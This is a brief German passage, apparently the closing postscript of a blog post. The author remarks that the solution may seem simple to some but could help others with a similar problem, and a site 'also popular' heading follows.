    PS Für einige scheint dies ganz einfach zu sein, aber jemand ist möglicherweise daran interessiert und hilft bei der Lösung eines ähnlichen Problems.

    Jetzt auch beliebt: